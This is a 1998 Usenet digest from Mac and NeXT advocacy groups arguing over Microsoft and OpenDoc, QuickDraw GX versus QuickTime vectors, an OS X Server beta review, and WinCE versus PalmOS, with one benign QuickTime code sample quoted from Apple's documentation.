References: <F31C16.9yF@T-FCN.Net>
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B2825238-C25F@206.165.43.12> "Lawson English" wrote:
>> That's a wonderful theory. However, it doesn't really jive with the
facts.
>> It's like suggesting that "since no-one else was using OpenDoc, why
should
>> Apple?" when in fact, it is obvious from the DoD evidence that OpenDoc
>was
>> an explicit target of Bill Gate's Microsoft Uber Alles campaign.
>
> No it's not. That's a tenuous thread of supposition you drew to support
>your conspiracy theory..
Excuse me? You have an odd definition of "tenuous thread of supposition" to
say this.
What does this sentence mean?
"We have a short list of what we don't want: OpenDoc" -Bill Gates, in
Government Exhibit 22, MS98 0167106
And which conspiracy are you talking about? The one that the US government
has asserted that MS is guilty of? Sounds less-than-tenuous to me.
Or are you suggesting that MS is NOT guilty of what the government is
claiming?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 27 Nov 98 01:05:45 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B283AB89-23050@206.165.43.110>
References: <SPAMLESSforrest-2611981544280001@term2-11.vta.west.net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy,
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nntp://news.primenet.com/comp.sys.next.advocacy
Forrest Cameranesi <SPAMLESSforrest@west.net> said:
>While I typically agree with Lawson, I do feel the need to agree with
>Maury here. I think the conspiracy theories about MS killing OD and GX and
>other nifty Apple technologies is going a little too far.
I never said anything about MS killing GX (that's an Adobe issue, if
anything at all outside of internal Apple politics -although it is
interesting that MS Word 4.0, released before GX, will print using GX Print
drivers, but MS Word 5.0, released AFTER GX, will not). I was referring to
explicit DoJ evidence where Bill Gates said in a memo that he wanted to
make sure that Netscape understood that there was a short list of things
that he did NOT want to see in the internet client (browser) market:
OpenDoc.
That's a list of ONE item.
And there is and was only one internet client based on OpenDoc, so he was
quite explicitly saying he didn't want Netscape to deal with Cyberdog, as
they publicly promised they would.
You and Maury are also ignoring several hundred pages of notarized
testimony and evidence that Apple submitted to a federal judge several
years ago claiming that Bill Gates had threatened Apple over OpenDoc.
So, we have notarized testimony from Apple executives saying that he
threatened Apple over OpenDoc and we have written evidence by Bill Gates
himself from that same time-period saying that [in essence] the only
non-negotiable with Netscape was OpenDoc.
And you're claiming that MS was NOT working to sabatoge OpenDoc? I don't
understand where you are coming from when you ignore notarized testimony
formally submitted to a federal judge and ALSO a memo by Bill Gates
*himself* on public display at the DoJ website that say this very thing.
How can you ignore this and come up with a mocking "MS conspiracy
theories?"
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Fri, 27 Nov 1998 17:27:05 -0400
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca>
References: <F33832.GJn@T-FCN.Net> <B284461D-2BBFC@206.165.43.28>
In article <B284461D-2BBFC@206.165.43.28>, "Lawson English"
<english@primenet.com> wrote:
> Without GX, the editing of QT vectors is nowhere near as easy as it is WITH
> GX, or so it seems after my browsing of the QT vectors manual.
It seems pretty easy when you look at accessing the vectors through the
component manager. Were you only looking at how you deal with vectors in
tracks of a movie? In the component manager you just open an instance of
the correct type, set it up, and draw it. The setup and draw could be
wired to user input. All the nice path information for the complex fills
is maintained. TotallyHip told me that the next version of their web
animation package (v.2) will have a full draw package and even be
configurable as a replacement (though much more capable) for somthing like
PowerPoint where the presentation is just a .mov document (yay). All of
the drawing was going to be handled through QT Vectors.
I haven't programmed in QT vectors but it doesn't seem that difficult
to setup paths from what I have read. If you just look at the
documentation on dealing with placement and manipulation of vectors in a
movie track it seems they are created somewhere else. However, that MUST
be a false assumption since vectors are logical constructs that are always
being interpreted at the instance they are shown. Since QT can show them
it must have a way to create them. The only other possibility is that the
drawing routines are hidden from use access. That would have been
stupid. I believe some of the functionality of GX is probably missing.
But, not being a GX afficianado I couldn't say what.
But, I can say that Apple's offical word is that, "you do not need
QuickDraw GX to use QuickTime vectors; ALL of its functionality is in
QuickTime vectors" (QT3.0 Reference, p. 758, emphasis mine). That chapter
goes on to (re)describe much of QD GX and even uses the same names for
parameters (starting with gx). They are all available from QT vectors.
So, while you have claimed that you don't see a way to write apps with GX
vector properties in QT, do you have any evidence?
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to make nice, polite
academic related replies via email.
From: raxelbrof@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X Server Interface
Date: Fri, 27 Nov 1998 09:10:49 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73lqai$kps$1@nnrp1.dejanews.com>
References: <73jgpn$rnn$1@nnrp1.dejanews.com> <73krr1$stc$1@nnrp1.dejanews.com>
In article <73krr1$stc$1@nnrp1.dejanews.com>,
malcolm@plsys.co.uk wrote:
> In article <73jgpn$rnn$1@nnrp1.dejanews.com>,
> raxelbrof@my-dejanews.com wrote:
> > For anyone who hasn't been to www.appleinsider.com (formerly MacNN
> > Reality) there is a pretty good look at an OS X Server beta.
> >
> Uh-huh.
well, good look for those of us who have not actually had a chance to play
with it or even see it running. there were some nice screenshots - including
the ability to change the window colour which is interesting given apples
current decision not to include themes with MacOS in order to "keep the
interface consistant".
>
> > This bit "you can tear of the entire menu bar" - WOW!
> >
> Umm, I thought it was public knowledge that this functionality has been
> around since RRDR2.
I apparently misinterpreted this to mean tearing off the workspace menu would
remove the menubar with it, and that was really the sole thing about the
article that made me post about it. Im trying to think what the menubar would
do after tearing off the workspace menu - would it leave a blank menubar or
would the menus for other running apps show through (that might be nasty).
> The rest of the story, IMNSHO, is a flagrant breach of NDA, made all the
> worse for several blatant factual inaccuracies(*), obvious from RDR2.
I think Appleinsider is in the running to get a letter from apple -
especially with their review of Final Cut Pro beta which showed a splash
screen complete with serial number and (from memory) a registered to name -
unless of course its public beta.
The factual inaccuracies (having not seen it running) i wouldn't know about
but a number of things seemed to contridict what I have heard so far.
> mmalc.
>
> (*) The worst paragraph:
>
> > Outside of the Blue Box, the average user would be lost.
> >
> Drivel. This isn't even true on RDR2.
>
> > The Yellow
> > Box as it stands is a hard-core unix environment with a partial Mac
> > OS interface. Unix experience, and experience in a unix console is a
> > *must* for operation of the current Mac OS X Server build.
> >
> Drivel. This isn't even true on RDR2.
>
> > Files need to be expanded and decompressed from the unix command line,
> > as does ftp access.
> >
>
> (a) For .compressed, .tar, and .Z files; wrong. These can all be
> decompressed in Workspace in RDR2. (b) For just about any files, OpenUp (see
> www.stepwise.com) will work fine. (c) Yes, OpenUp is a third party app, but
> what does MacOS itself do when presented with a compressed file? Nothing.
> You have to hope that a third-party app is installed.
>
> > The build of Mac OS X Server tested by our sources did
> > not contain any internet applications besides Mail Viewer, which led
> > them to rely on unix ftp for file transfer.
> >
>
> (a) And MacOS...? Again, if a third-party app is installed, you're OK; if
> not, you can't even do ftp. (b) What's wrong with OmniWeb? If MacOS is
> allowed to use IE/NetScape for this functionality, why the double standards
> in the review -- particularly as they even show OW running in one of the
> screenshots.
Agreed - unless people are going to include Cyberdog as "built in
functionality" that statement was pretty stupid. As I said the main reason
for the post was the menu thing which it appears I was wrong about.
> > Application installations
> > and other various tasks are better served when performed from the unix
> > command line as well. This all may seem somewhat scary, though let's
> > not forget, this is a beta.
> >
>
> Drivel. OpenUp remedies the deficiencies described. Further I'd point to the
> existence of the Installer app for NEXTSTEP, and the overwhelming likelihood
> that a similar application would be available for McOX.
From what youve said it sounds like a much more comportable OS than the
article would have us believe, and I'll happily take your word for it.
-----------== Posted via Deja News, The Discussion Network ==----------
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From: Edward Thomas <mcai7et2@stud.umist.ac.uk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Fri, 27 Nov 1998 09:46:59 +0000
Organization: Sirius Cybernetics Corporation
Message-ID: <365E7512.7CA74569@stud.umist.ac.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <slrn75e9bi.253.josh@vortex.nyu.edu>
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Josh Fishman wrote:
> Feh! Linux has had Animated Wallpapers since the first penguin
> crawled out of the primordial swap and typed ``flame -root''.
I always thought that "flame -root" was just a command to harrass your
sysadmin with abusive emails...
(sorry, it won't happen again)
From: Edward Thomas <mcai7et2@stud.umist.ac.uk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Fri, 27 Nov 1998 09:48:58 +0000
Organization: Sirius Cybernetics Corporation
Message-ID: <365E758A.E989C18C@stud.umist.ac.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <3655d240.3919304@news.netlife.fi> <911724487.891276@watserv4.uwaterloo.ca>
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Darwin Ouyang wrote:
> Make a big animated gif, write a three line HTML, and set your
> NT/98/95/IE4 desktop background to it. Presto, animated wallpaper.
Just a thought, but if you ran Netscrape as root in X and then got rid
of the toolbars etc, would that be quivalent to an active desktop.
(P.S. I don't really have a clue what I am on about so if I am really
really wrong then forgive me ;)
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: Fri, 27 Nov 1998 10:42:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73lvn0$p3d$1@nnrp1.dejanews.com>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net> <73l8ps$6r6@crab.afs.com>
In article <73l8ps$6r6@crab.afs.com>,
"Greg 'Methusula' Anderson" <greg@afs.com> wrote:
> it's obvious you don't know who I am.
>
Ah, but it could have been Jonathan Harker -- he could have snuck ito Greg's
office whilst Greg was out.
> I am one of the oldest remaining NEXTSTEP/YB developers
>
Aw, c'mon Greg, when I met you I wouldn't have believed you were a day over
forty-mumble. I was expecting someone far more gnarled and wizzened ;-)
> Unlike the other people polluting these groups nowadays
>
Hmm, Jonathan Harker, the Exxon Valdex of Usenet.
Best wishes,
mmalc.
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 27 Nov 98 16:29:08 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28483DD-9B4B@206.165.43.169>
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
> But, I can say that Apple's offical word is that, "you do not need
>QuickDraw GX to use QuickTime vectors; ALL of its functionality is in
>QuickTime vectors" (QT3.0 Reference, p. 758, emphasis mine). That chapter
>goes on to (re)describe much of QD GX and even uses the same names for
>parameters (starting with gx). They are all available from QT vectors.
>So, while you have claimed that you don't see a way to write apps with GX
>vector properties in QT, do you have any evidence?
Exchanges on the QuickTime-dev mailing list asking how to do it. And here's
a few things that are NOT in QT vectors:
GX typography, GX bitmaps, GX viewports, GX file flattening, etc. QT
vectors implements a good portion of the GX graphics format, but I don't
believe that it even handles picture shapes!
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X Server Interface
Date: Fri, 27 Nov 1998 23:27:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73nch7$svj$1@nnrp1.dejanews.com>
References: <73jgpn$rnn$1@nnrp1.dejanews.com>
raxelbrof@my-dejanews.com wrote:
> For anyone who hasn't been to www.appleinsider.com (formerly MacNN Reality)
> there is a pretty good look at an OS X Server beta.
Actually, I thought it was a pretty poor look at a very old version of OS X
Server beta.
I've never seen RDR2, but I've heard enough from a variety of sources to know
that (i) the "juicy bits" you point to have been common knowledge for some
time and that (ii) they get other things spectacularly wrong, such as "you
have to use Unix consoles for everything."
In fact, they're so far off the mark on many things, that I suspect they may
have been deliberately fed misleading information in an effort to trace leaks.
But you're right, the screenshots do look nice :-)
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
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From: Matthias Bethke <Matthias.Bethke@gmx.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 27 Nov 1998 12:43:51 GMT
Organization: Regionales Rechenzentrum Erlangen, Germany
Sender: Matthias Bethke <msbethke@clue5.linguistik.uni-erlangen.de>
Message-ID: <73m6q7$8na$3@rznews.rrze.uni-erlangen.de>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net> <01be1452$1e5eb6b0$a007280a@ntw_bmladmin> <01be150e$a7080a40$a1f1ccc3@default> <73783s$3b9$1@jimsun.uucp> <01be169e$d7eb04a0$72f1ccc3@default> <Pine.SOL.3.96.981124191714.20775D-100000@cssun.rrze.uni-erlangen.de> <01be19df$731e0060$53f0ccc3@default>
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In comp.sys.amiga.advocacy Bj=F8rnar Bols=F8y <bbolsoey@rl.telia.no> wrote=
:
> I think you got things a bit wrong here. I started out by=20
> saying that WinCE, for once, is something MS has done=20
> right, you have now taken this into a little stand-off against
> traditional PDAs.
I could agree to "somewhat less screwy than other flavors of Windoze",
but certainly not "right" for the intended market.
> are not synonymous, WinCE is targeted at a wide=20
> range of applications and hardware=20
Even worse...
> - one is powering car-MFDs=20
...that sport no windows, no network, no disk, no nothing.
> - one is playing the latest games=20
The latest wince games that is. Palmtops will always be behind
desktop hardware in graphics power, and for things like the
Dreamcast I forsee a development similar to the PSX where hardly
any of the latest games uses Sony's graphics libraries any more.
> - one does great for the lab assistant in the field where=20
> a traditional laptop would not suffice
What does it do a traditional laptop can't do?
> - one is providing a familiar face for in-check kiosk=20
> devices
Kiosk devices where there is plenty of space for a real computer
with a stable OS?
> - one is decoding your latest news headlines and=20
> movies=20
> - it might even power your vacuum cleaner one day
"General Protection Fault in Module SUCK.DLL". Looking forward to it :-)
> How is PalmOS doing in the embedded market so far?
No idea.
> How about developing? WinCE supports over 500 Win32=20
> APIs today which basically mean a familiar environment=20
> for developers - translating to considerable reductions in=20
> developing efforts.
Theoretically that's a point for wince. Practically I don't see
how palmtop/embedded applications developed with desktop concepts
could work nearly as well as applications that received some thought
about their special environment.
> Sometimes this even translates to reduced costs for
> the end-user :^)
Still waiting...
> How compatible is your P3 in comparison besides
> offering simple synchronization like the rest of the
> bunch - Word? Wordpro? Word Perfect? G'ol Amipro?
I don't have a PP so I can only speak from hearsay. There was
something about RTF text exchange?
From what I've seen and read about wince apps so far, the
actual functonality of their data exchange facilities doesn't
go a lot beyond RTF either. Still, they pretend.
> Can I hook it up to a cellphone? ATA devices, flash=20
> memory, SRAM cards... USB?
SRAM I think, and some PDAs schould even handle cellulars.
ATA devices are more a hardware problem which wince can't solve
either.
>> Sure, WinCE is unusable without one.=20
> It's not, features can be scaled according to needs.
OK, lemme put it this way: applications for which you'd typically
choose a display comparable to palmtops in resolution suck in
B/W with wince.
> How usable is your P3 with Japanese? Does it have
> a basic Unicode text API at all?
I don't have a PP but I doubt it is of any use with Japanese.
Of what use are japanese characters anyway on palmtop resolutions?
> What you want and what other want might differ -
> substantiallty. :)
What requires this color screen? Wordprocessing? Spreadsheets?
Databases? Email? None of those. Webbrowsing maybe. Any estimates
on what percentage of a normal Travelling Professional(tm)'s palmtop
usage time is usually spent browsing?
Oh, I forgot presentations. Quite some petty show on a Palmtop...
>> "Virtual" as opposed to "real"? Imagine, I can virtually write=20
>> without a computer at all!
>=20=20
> Well, if so, why do you need a PDA in the first place?
I didn't feel the need for a PDA hard enough to buy one yet. What's
this "virtual writing" about? Sounds like a candidate for the
Computing Buzzword Prize...
> Not really, we're talking about the ability to connect=20
> your HPC directly to a printer or a network. This is
> essential in your typical roaming business environment.
On a network where you usually have a couple of desktop systems
present you'd leave the hires rendering of a document to some
palmtop instead of copying the file to a bigger machine?
> Besides, several small and light a4 printers are on the=20
> market, even cordless ones, and while they are larger=20
> than your HPC airline sequrity will not be too happy if=20
> you exceed your hand-luggage limit by carring with
> you a bulky laptop and your personal things on top
> of that.
Hm. I'll probably never understand people who feel that much
compelled to print on the plane. If they're that keen on
getting the job done at the minute they might as well carry one
of those bulky Librettos.
> WinCE in the from of a HPC is really geared towards=20
> the advanced business traveler.
Well learnt, this earns you a cookie from Bill.
> Really? How easy is it to write documents or emails on=20
> your P3 without costly keyboard extension or hand=20
> charracter recognition?=20
Well, the PP I don't own *has* character recognition out of the
box.
> How does you P3 handle device sharing over a company=20
> network. Can it be done at all?
Not that I knew of. What for? Acquiring amounts of data the computer
can't handle?
>> [Email? Gimme a break! You need a 6502 for email, not a 190MHz >
> StrongARM!]
> You don't, the 190MHz is needed for more powerful tasks.
Like running a browser that sucks? It's just that Email was the
only thing mentioned to work fine.
> My bet is that the Jornada converts documents a fair=20
> bit faster than your P3, which AFAIK uses a 16bit 16Mhz=20
> M68k.
I don't doubt that.
> WinCE supports 5 different filesystems, ROM, RAM and=20
> FAT12/16/32, and can easily be scaled down by developers
Including "lost chains" and such joys of Windoze? What about
transaction-oriented FSs like the Newton's (and AFAIK the Pilot's
too)?
> as they like to reduce resource requirements. The new
> new file system wrapper actually supports up to 256
> filesystems.
> How many does your P3 support?
How many do you think my nonexistant P3 would need?
ttyl!
Matthias
=09
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 27 Nov 98 16:41:17 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28486B7-146CC@206.165.43.169>
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
John Christie <*johnnyc*@or.psychology.dal.ca> said:
> But, I can say that Apple's offical word is that, "you do not need
>QuickDraw GX to use QuickTime vectors; ALL of its functionality is in
>QuickTime vectors" (QT3.0 Reference, p. 758, emphasis mine). That chapter
>goes on to (re)describe much of QD GX and even uses the same names for
>parameters (starting with gx). They are all available from QT vectors.
>So, while you have claimed that you don't see a way to write apps with GX
>vector properties in QT, do you have any evidence?
Being the person that coined "Apple Internet Graphics," I'm certainly happy
to see a subset of GX make it into QuickTime. But here's the thing:
GX has a wider range of color capabilities overall than eQD/DPS, as well as
a more robust (true 3D perspective, sorry guys) transform matrix. Any
word-processor or drawing app that uses GX can *directly* turn itself into
a QT vectors image with no limitations or loss of fidelity. Add print
capabilities to QT and you have internet faxing that blows Adobe's PDF
format out of the water (as I said years ago).
So why would anyone NOT want to use the more powerful graphics system?
Answer:
Adobe says so. More specifically: Adobe's less sophisticated format is a
standard, so we gotta go with the standard.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Subject: Do I have this right?
Newsgroups: comp.sys.next.advocacy
From: me@me.me
Message-ID: <iSG72.15689$aF1.15849@typhoon-sf.snfc21.pbi.net>
Date: Fri, 27 Nov 1998 23:47:26 GMT
NNTP-Posting-Date: Fri, 27 Nov 1998 15:47:26 PDT
Organization: SBC Internet Services
Mac OS X:
Kernal:
Mac OS X is based on the Mach kernal. That means it does not
share OS code(memory managment, process scheduling, etc) with
Mac OS.
System:
Mac OS X OS APIs are BSD Unix APIs. Mac OS binaries will not
run natively.
UI technology:
Mac OS X UI is based on the NeXTstep/OpenStep APIs, not Mac
OS api's. Carbon is an extra little library thrown in to allow
recompilation on Mac OS X.
The Mac UI look was implemented by adding a Mac style to
the NeXTstep UI objects.
What does this mean to Mac users?
- you can run your old apps
- your UI will look the same
- you'll get a new, solid "modern" OS
What does this mean to Mac Developers?
- you can natively recompile your products using carbon
- for new apps, you should learn the native OS X APIs
- new apps written for the OS X APIs will also be able to
be recompiled on NT (using OpenStep)
What does this mean to NeXT users?
- Mac OS X = NeXTstep with a Mac style UI
- alot more apps
- some UI stuff is hosed
What does this mean to NeXT developers?
- eventualy, a market for NeXT/Mac OS X API work/products
- more Java
What does this mean techonologically?
- nothing new or interesting, but at least it's not
NT or MS Windows APIs
- Java slowly replaces Objective-C, but both are technological
dinosaurs.
Steve
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 27 Nov 98 16:54:18 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28489C3-1FE34@206.165.43.169>
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
John Christie <*johnnyc*@or.psychology.dal.ca> said:
> They are all available from QT vectors.
>So, while you have claimed that you don't see a way to write apps
with GX
>vector properties in QT, do you have any evidence?
One last little thing. Assuming that one already HAS a GX-based
word-processor, page-layout or drawing app, here is what the manual
says:
"To use the GX-to-vector transcoder, either QuickDraw GX or the GX
Graphics extension must be installed on the computer.
?The GX-to-vector transcoder converts all QuickDraw GX data, including
all fill, ink, and stroke options, into QuickTime vectors that can be
processed by the QuickTime vector codec. The transcoder converts
bitmaps, which are not supported by QuickTime, into rectangles. If the
GX data includes transfer modes, the minimum bit depth of the
resulting vector output is 16."
It's about 25 lines of code to convert the entire GX shape into a QT
vector.
GX was designed to make it easy to create vector/bitmap/text-editing
apps. QT was NOT. In other words, anyone who has a GX-based app has an
app that creates full-featured GX drawings with device independence,
while QT-based apps don't have printing capabilities and QT is NOT
designed for content-creation.
WHy is this so difficult to understand?
GX is IDEAL for doing ALL forms of content creation, both for DTP and
multimedia. QT vectors is a subset of GX that is useful ONLY for
playback. Content-creation is HARD by comparison, and only works for
movies, not DTP.
Making GX multi-media-only is a STUPID idea, as anyone can see who has
half a brain. It was designed for DTP and it is only because it is so
powerful that it can be trivialized to multi-media-only.
For completeness' sake, here is the sample source code to convert GX
graphics to QT vectors (note that the QT vector set does NOT support
GX typography, so in order to create GX text and convert it to QT
vectors, you must currently use GX):
Listing 22-7 Converting QuickDraw GX data to QuickTime vectors
static Handle GXShapeToCurveData(Handle shapeData)
// input: shape data, destroyed
{
ImageDescriptionHandle pathDesc =3D nil;
ImageTranscodeSequence ts =3D nil;
OSErr err;
ImageDescriptionHandleidh =3D (ImageDescriptionHandle)NewHandle(0);
// transcode this frame into a path
err =3D ImageTranscodeSequenceBegin(&ts, idh, =8Cpath=B9, &pathDesc,
nil,
0);
if (err =3D=3D noErr)
{
void *pathData;
long pathDataSize;
HLock(shapeData);
err =3D ImageTranscodeFrame(ts, *shapeData,
GetHandleSize(shapeData),
&pathData, &pathDataSize);
HUnlock(shapeData);
if (err =3D=3D noErr)
{
SetHandleSize(shapeData, pathDataSize);
if (MemError() =3D=3D noErr)
{
BlockMoveData(pathData, *shapeData, pathDataSize);
DisposeHandle((Handle)idh);
idh =3D pathDesc;
pathDesc =3D nil;
}
ImageTranscodeDisposeFrameData(ts, pathData);
}
ImageTranscodeSequenceEnd(ts);
}
return(shapeData);
} // GXShapeToCurveData
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
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Organization: needs one
References: <F31C16.9yF@T-FCN.Net> <B283A854-16F9D@206.165.43.110>
Mime-Version: 1.0
Date: Fri, 27 Nov 1998 15:52:14 GMT
In <B283A854-16F9D@206.165.43.110> "Lawson English" wrote:
> Excuse me? You have an odd definition of "tenuous thread of supposition"
> to
> say this.
>
> What does this sentence mean?
>
> "We have a short list of what we don't want: OpenDoc" -Bill Gates, in
> Government Exhibit 22, MS98 0167106
And where's the proof that this is why Apple killed it? Or GX? Or
anything else. Again, you say "Apple killed this because..." and then
provide a whole bunch of unrelated items, yet fail to admit that Apple's
killed a LOT of things that were not killed for the same reasons.
Why did Apple kill PowerTalk? Because no one was using it. Why did
Apple kill GX? Because no one was using it.
> And which conspiracy are you talking about? The one that the US government
> has asserted that MS is guilty of? Sounds less-than-tenuous to me.
>
> Or are you suggesting that MS is NOT guilty of what the government is
> claiming?
Ahhh yes, let's quickly change the topic in a bait and switch and hope he
falls for it and I can draw the topic off thread away from my unsupported
suppositions... Sorry Lawson, I've been on the net longer than you, these
tricks won't work.
Maury
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MocOS X beta hovering on the horizon?
Date: Fri, 27 Nov 1998 08:17:20 -0800
Organization: University of British Columbia
Message-ID: <1dj5613.llb9kuisu5agN@p008.intchg2.net.ubc.ca>
References: <1dj3ezs.jix8xaj6qqjcN@port1-178.nordnet.fr> <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca> <73lapb$i5q$1@news.digifix.com>
User-Agent: MacSOUP/2.4b4
Scott Anguish <sanguish@digifix.com> wrote:
>>in testifying against Microsoft's virtual monopoly in the desktop OS
>>market, Avie Tevanian claimed that Apple had been compelled to
>>abandon Rhapsody, since it's impossible to break into the MS-dominated
>>market with a new OS.
>>Surely this can be taken as a fairly clear signal that Mac OS X Server
>>(== Rhapsody) won't be released.
> No.
>
> What was said is that Apple had to drop the idea of
>positioning Rhapsody as a __NEW__ OS.
>
> Mac OS X Server will be released.
Excellent. Now if only Apple would confirm this.
--
Bruce Bennett
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The future of OS X Server is bleak
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References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
<73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com>
Mime-Version: 1.0
Date: Fri, 27 Nov 1998 16:13:14 GMT
In <73kctc$cju$1@nnrp03.primenet.com> John Jensen wrote:
> : > As it now stands Java is a better cross-platform development
> environment
> : > because it is available and it is legal to sell Java applications on
> : > multiple platforms.
I'm not sure I can agree. We use it here at the office, and frankly the
idea of x-platform running appears to be a myth for anything but the most
simple projects. In the case in question Java working fine from one
browser failed to run on "the other one" and vie versa. Yes, the promise
is there, but it certainly doesn't deliver! In that respect I'd have to
say that YB and Java are very similar indeed.
Maury
From: "bobsun" <bobsun@worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 27 Nov 1998 16:29:04 GMT
Organization: AT&T WorldNet Services
Message-ID: <73mk0g$ht5@bgtnsc02.worldnet.att.net>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <73al2q$e98@bgtnsc02.worldnet.att.net> <73ap4d$bik@newsb.netnews.att.com> <73de05$cio@bgtnsc01.worldnet.att.net> <73eiig$ahm@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirror after @ wrote in message
<73eiig$ahm@newsb.netnews.att.com>...
>bobsun <bobsun@worldnet.att.net> wrote:
>
>>As you likely know, India still maintains significant control over the
>>economy through import duties.
>
>Yes, but it isn't one set of tariffs for Apple equipment and another
>set of tariffs for Wintel equipment. Therefore there is no
>competitive advantage or disadvantage imposed by the government on
>one platform over the other, which is what you were stating.
>(paraphrase : governments of countries like India and China may
